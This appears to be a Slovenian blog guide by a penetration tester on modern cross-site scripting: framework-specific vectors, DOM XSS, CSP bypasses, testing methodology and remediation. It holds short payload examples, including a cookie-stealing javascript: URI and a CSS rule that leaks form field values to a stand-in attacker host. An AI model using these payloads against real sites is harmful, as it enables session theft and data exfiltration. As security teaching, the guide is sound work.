Medspletno skriptiranje (XSS) ostaja ena najpogostejsih spletnih ranljivosti, vendar se je okolje dramaticno spremenilo. Sodobna ogrodja JavaScript, kot so React, Angular in Vue, zagotavljajo vgrajeno zascito pred osnovnim XSS s privzetim izhodnim kodiranjem. To je nekatere razvijalce pripeljalo do prepricanja, da je XSS resena tezava. V resnici so ta ogrodja napadalno povrsino prestavila, ne pa odpravila. Kot penetracijski tester redno najdem XSS v sodobnih aplikacijah -- zahteva le globlje razumevanje delovanja ogrodij, manipulacije DOM in vedenja brskalniških razclenitvenih mehanizmov.
Ta vodic pokriva razvoj tehnik XSS, vektorje napadov specificne za ogrodja, napredne metode obvoda in celovito metodologijo testiranja za sodobne spletne aplikacije.
Razvoj XSS
Tradicionalni XSS je izkoriscal preprosto odsevanje uporabniskega vnosa v HTML brez kodiranja. Klasicna vsebina <script>alert(1)</script>, vbrizgana v iskalni parameter, bi se izvedla v starejsih strezniško upodobljenih aplikacijah. Sodobna ogrodja so to spremenila z uvedbo samodejnega izhodnega kodiranja, plasti virtualnega DOM-a in kompilacije predlog, ki locuje kodo od podatkov. Vendar so ta ogrodja uvedla tudi nove koncepte -- usmerjanje na strani odjemalca, upravljanje stanja komponent, izraze predlog in dinamicne direktive upodabljanja -- vsak od katerih ustvarja nove moznosti za vbrizgavanje ob napacni uporabi.
Vektorji specificni za ogrodja v podrobnostih
- React: dangerouslySetInnerHTML - React privzeto kodira vse vrednosti, upodobljene v JSX. Vendar lastnost
dangerouslySetInnerHTMLizrecno obvozi to zascito za upodabljanje surovega HTML. Ko uporabnisko nadzorovani podatki tecejo v to lastnost brez sanacije, je XSS neposreden. Ta vzorec ischem v vsaki kodni bazi React, ki jo ocenjujem. - React: protokol href javascript: - React v vseh verzijah ne blokira URI-jev
javascript:v atributih href sidrnih oznak. Vrednost kotjavascript:alert(document.cookie), dodeljena href, se izvede ob kliku. To je posebej nevarno, ko so uporabniski URL-ji profilov ali parametri preusmeritve upodobljeni kot povezave. - React: Strezniško upodabljanje (SSR) - Ko aplikacije React uporabljajo SSR (Next.js, Remix), je uporabniski vnos lahko vgrajen v zacetno vsebino HTML, preden React hidratira stran. Ce streznik serializira uporabniske podatke v HTML brez ustreznega kodiranja, postane tradicionalni odsevani XSS mozen v HTML pred hidratacijo.
- Angular: Vbrizgavanje predlog - Angular prevaja predloge, ki vsebujejo izraze v dvojnih zavitih oklepajih
{{ }}. Ce je uporabniski vnos interpoliran v niz predloge, ki jo Angular nato prevede, lahko izvede poljuben JavaScript prek izrazov Angular. To je posebej nevarno pri uporabi$compilev AngularJS ali dinamicnem ustvarjanju komponent v Angular. - Angular: bypassSecurityTrust* - DomSanitizer v Angular zagotavlja metode kot
bypassSecurityTrustHtml(),bypassSecurityTrustScript()inbypassSecurityTrustUrl(). Razvijalci jih uporabljajo za upodabljanje zaupane vsebine, ko pa uporabniski vnos tece v te metode, izrecno onemogocijo zascite Angular pred XSS. - Angular: ng-bind-html - V AngularJS (1.x) direktiva
ng-bind-htmlz$sce.trustAsHtml()upodablja surov HTML. Starejse aplikacije AngularJS ostajajo pogoste v poslovnih okoljih in so pogosto ranljive. - Vue: direktiva v-html - Vuejeva direktiva
v-htmlupodablja surov HTML, podobno kot Reactov dangerouslySetInnerHTML. Vsi uporabnisko nadzorovani podatki, vezani prek v-html, obvozijo kodiranje predlog Vue. - Vue: Prevajanje predlog v brskalniku - Ko Vue prevaja predloge ob izvajanju v brskalniku (namesto predprevajanja med gradnjo), lahko uporabniski vnos, ki doseze nize predlog, vbrizga izraze predlog Vue, ki izvajajo JavaScript.
XSS na osnovi DOM v globino
XSS na osnovi DOM se zgodi v celoti znotraj brskalnika, kjer JavaScript bere podatke iz vira, ki ga nadzoruje napadalec, in jih posreduje nevarnemu ponoru brez ustrezne sanacije. Sodobne enostranske aplikacije so posebej dovzetne, ker upravljajo obsezno logiko na strani odjemalca.
- Manipulacija usmerjanja na strani odjemalca - SPA-ji berejo fragmente URL-jev, parametre poizvedb in segmente poti za dolocanje pogleda za upodobitev. Ce so parametri poti odsevani v DOM brez kodiranja (na primer upodabljanje drobtinic iz poti URL-ja), je XSS mozen prek oblikovanih URL-jev.
- Ranljivosti PostMessage - API
window.postMessage()omogoca medizvorsko komunikacijo med okni. Ce prejemnik ne potrdi izvora sporocila in prejete podatke posreduje v nevarne ponore, kot stainnerHTMLalieval(), lahko katera koli stran poslje zlonamerno sporocilo za sprozitev XSS. - Vbrizgavanje localStorage/sessionStorage - Podatki, shranjeni v brskalniskem pomnilniku, vztrajajo med nalaganjem strani. Ce napadalec lahko vbrizga podatke v pomnilnik (prek locene ranljivosti ali deljene poddomene) in aplikacija pozneje prebere ter upodobi te podatke brez kodiranja, nastane obstojni XSS na osnovi DOM.
- DOM clobbering - Poimenovani elementi HTML ustvarijo lastnosti na objektih
documentinwindow. Z vbrizgavanjem elementov HTML s specificnimi atributi id ali name lahko napadalec preglasi spremenljivke JavaScript ali povratne vrednosti DOM API, ki jim aplikacija zaupa. Na primer, vbrizgavanje<img id="currentScript">lahko preglasidocument.currentScriptin vpliva na logiko nalaganja skript.
Napredne tehnike obvoda
- Mutacijski XSS (mXSS) - Brskalniki razclenijo in ponovno serializirajo HTML na nacine, ki lahko preoblikujejo nedolzno oznacevanje v izvrsljivo kodo. Ko aplikacija sanira HTML in ga nato vstavi v DOM, lahko brskalnikov razclenjevalnik mutira sanirani izhod. Na primer, dolocene kombinacije vgnezdenih oznak in atributov lahko povzrocijo, da razclenjevalnik izstopi iz konteksta atributa in ustvari nove izvrsljive elemente. Knjiznica DOMPurify specificno naslavlja mXSS, vendar jo je treba redno posodabljati.
- Verige onesnazenosti prototipov do XSS - Onesnazenost prototipov napadalcu omogoca vbrizgavanje lastnosti v prototipe objektov JavaScript. V kombinaciji s kodo, ki preverja
object.innerHTMLaliobject.srcna objektih, ki dedujejo iz onesnazenega prototipa, se to lahko poveze v XSS. Knjiznice kot Lodash merge in jQuery extend so bile vektorji za onesnazenost prototipov. - Vbrizgavanje CSS za ekstrakcijo podatkov - Ceprav ni XSS v tradicionalnem smislu, lahko vbrizgavanje CSS ekstrahira obcutljive podatke z uporabo izbirnikov atributov in zahtev slik v ozadju. Na primer,
input[value^="a"] { background: url(https://napadalec.com/?v=a) }lahko po posameznih znakih razkrije vrednosti polj obrazcev. V aplikacijah, kjer je vbrizgavanje HTML mogoce, vendar CSP blokira izvajanje skript, ekstrakcija na osnovi CSS postane primarni vektor napada. - XSS na osnovi SVG - Datoteke SVG lahko vsebujejo JavaScript prek oznak
<script>, upravljavcev dogodkov (onload, onclick) in elementov<foreignObject>. Ko aplikacija dovoljuje nalaganje SVG ali upodablja uporabnisko zagotovljeno vsebino SVG v vrstici, je izvedba XSS mogoce. To obvozi mnoga preverjanja tipov datotek, ki blokirajo le datoteke HTML.
Politika varnosti vsebine: Obvodi in ocena
Politika varnosti vsebine (CSP) je najmocnejsa obramba na strani brskalnika pred XSS, vendar so napacno konfigurirane politike pogoste in jih je mogoce obvoziti.
- Koncne tocke JSONP - Ce CSP dovoljuje domeno, ki gosti koncne tocke JSONP (npr. Google API-ji, ponudniki CDN), lahko napadalec nalozi skripto iz te koncne tocke s parametrom povratnega klica, ki vsebuje kodo JavaScript. Dovoljena domena streznika posreze napadalcevo kodo, ovito v JSONP povratni klic.
- Skripte gostujoce na CDN - Politike CSP, ki dovoljujejo celotne domene CDN (npr.
cdnjs.cloudflare.com), dovoljujejo nalaganje katere koli knjiznice, gostujoce na tem CDN-ju, vkljucno s starejsimi verzijami Angular, ki omogocajo vbrizgavanje predlog za izvajanje poljubne kode. - Manjkajoca direktiva base-uri - Brez omejitve
base-urilahko napadalec vbrizga oznako<base>, ki spremeni osnovni URL za vse relativne uvoze skript in jih preusmeri na streznik pod nadzorom napadalca. - Ponovna uporaba nonce in hash - Ce so nonce-ji CSP staticni ali predvidljivi, ali ce nonce uhaja prek predpomnilnika ali druge ranljivosti, jih napadalec lahko vkljuci v svojo vbrizgano oznako skripte. Podobno, ce politika uporablja hase za vgrajene skripte, iskanje nacina za vbrizganje tocne dovoljene vsebine skripte omogoca obvod.
- Orodja za oceno CSP - Googlov CSP Evaluator (csp-evaluator.withgoogle.com) analizira politiko in prepozna sibkosti. To orodje uporabljam pri vsakem ocenjevanju za hitro prepoznavanje moznosti obvoda v uveljavljenih glavah CSP.
Vpliv onkraj pojavnih oken
Pri prikazovanju XSS strankam prikaz alert(1) podcenjuje tveganje. Ucinkovit prikaz vpliva vkljucuje:
- Ugrabitev seje - Pridobivanje sejnih piskotkov (ce niso httpOnly) ali zetonov za overitev iz localStorage in njihovo posiljanje na streznik pod nadzorom napadalca.
- Belezenje tipkanja - Vbrizgavanje beleznika tipkanja, ki zajame vse pritiske tipk na strani, vkljucno s poverilnicami, vnesenimi v prijavne obrazce.
- Rudarjenje kriptovalut - Nalaganje rudarja kriptovalut v brskalnik zrtve, kar prikazuje nepooblasceno uporabo racunalniskih virov.
- Phishing prekrivanja - Upodabljanje laznega prijavnega obrazca cez legitimno stran, ki zajame poverilnice in jih poslje napadalcu, preden posreduje na pravo prijavo.
- Obstojnost storitvenega delavca - Registracija zlonamernega storitvenega delavca, ki prestreza vse prihodnje zahteve na izvor, kar zagotavlja obstojni dostop tudi po odstranitvi vsebine XSS. To je eden najhujsih moznih vplivov XSS.
Metodologija testiranja
- Preslikava vhodnih ponorov - Prepoznajte vsako tocko, kjer uporabnisko nadzorovani podatki vstopajo v aplikacijo: parametri URL, vnosi obrazcev, glave, piskotki, poslusniki PostMessage, branja iz pomnilnika in odgovori API, upodobljeni v DOM.
- Sledenje podatkovnih tokov - Sledite vsakemu vnosu od njegovega vira do mesta upodobitve ali uporabe. Uporabite zavihek Sources v orodjih za razvijalce brskalnika za nastavitev prelomnih tock in sledenje potem izvajanja JavaScript.
- Avtomatizirano skeniranje - Zazenite avtomatizirana orodja kot prvi prehod, vendar razumite njihove omejitve. Avtomatizirani skenerji so ucinkoviti pri iskanju odsevanega XSS, vendar pogosto zgrešijo XSS na osnovi DOM, shranjeni XSS in vektorje specificne za ogrodja.
- Rocno testiranje - Za vsak prepoznani ponor oblikujte vsebine, primerne za kontekst (HTML, atribut, JavaScript, URL). Testirajte obvode specificne za ogrodje glede na tehnoloski sklad v uporabi.
- Analiza CSP - Preglejte glave Content-Security-Policy z uporabo CSP Evaluator. Prepoznajte dovoljene vire, ki bi jih bilo mogoce zlorabiti, in testirajte, ali je mogoce obvoziti nonce-je ali hase.
- Orodja za razvijalce brskalnika - Uporabite konzolo za testiranje vsebin, panel Elementi za pregled mutacij DOM, zavihek Omrezje za opazovanje krsitev CSP in zavihek Aplikacija za pregled pomnilnika in storitvenih delavcev.
Orodja
- XSStrike - Napredni paket za zaznavo XSS, ki uporablja mehko ujemanje, analizo konteksta in generiranje vsebin za iskanje odsevanega in DOM-osnovanega XSS.
- Dalfox - Hitro orodje za analizo parametrov in skeniranje XSS s podporo za slepi XSS, shranjeni XSS in zaznavo na osnovi DOM.
- DOM Invader (Burp Suite) - Razsiritev brskalnika znotraj vgrajenega Chromium Burp, ki specificno cilj ranljivosti na osnovi DOM s sledenjem virov in ponorov v realnem casu.
- CSP Evaluator - Googlovo orodje za analizo glav politike varnosti vsebine in prepoznavanje moznosti obvoda.
Odprava
Obramba pred sodobnim XSS zahteva vecplastne kontrole:
- Izhodno kodiranje - Uporabite kontekstno ustrezno kodiranje za kontekste HTML, JavaScript, URL in CSS. Privzeto uporabljajte kodiranje, ki ga zagotavlja ogrodje, in se izogibajte direktivam za upodabljanje surovega HTML.
- Politika varnosti vsebine - Uvedite strogo CSP z dovoljenjem skript na osnovi nonce-jev. Izogibajte se unsafe-inline, unsafe-eval in preveč sirokim dovoljenjem domen. Uporabite porocanje CSP za prepoznavanje krsitev.
- API zaupanih tipov (Trusted Types) - Uveljavljajte zaupane tipe za preprecevanje XSS na osnovi DOM z zahtevo, da nevarni ponori (innerHTML, eval, script.src) sprejemajo le tipizirane objekte, ustvarjene prek potrjenih politik sanacije.
- Knjiznice za sanacijo - Ko je upodabljanje surovega HTML nujno, uporabite DOMPurify s strogo konfiguracijo. Redno ga posodabljajte za obravnavo na novo odkritih vektorjev mXSS. Nikoli ne gradite lastne sanacije z vzorci regex.
Zanima vas vec o tej temi? Preberite mojo strokovno stran o Web Application Security →
Komentarji
Ni se komentarjev. Bodite prvi!
Dodaj komentar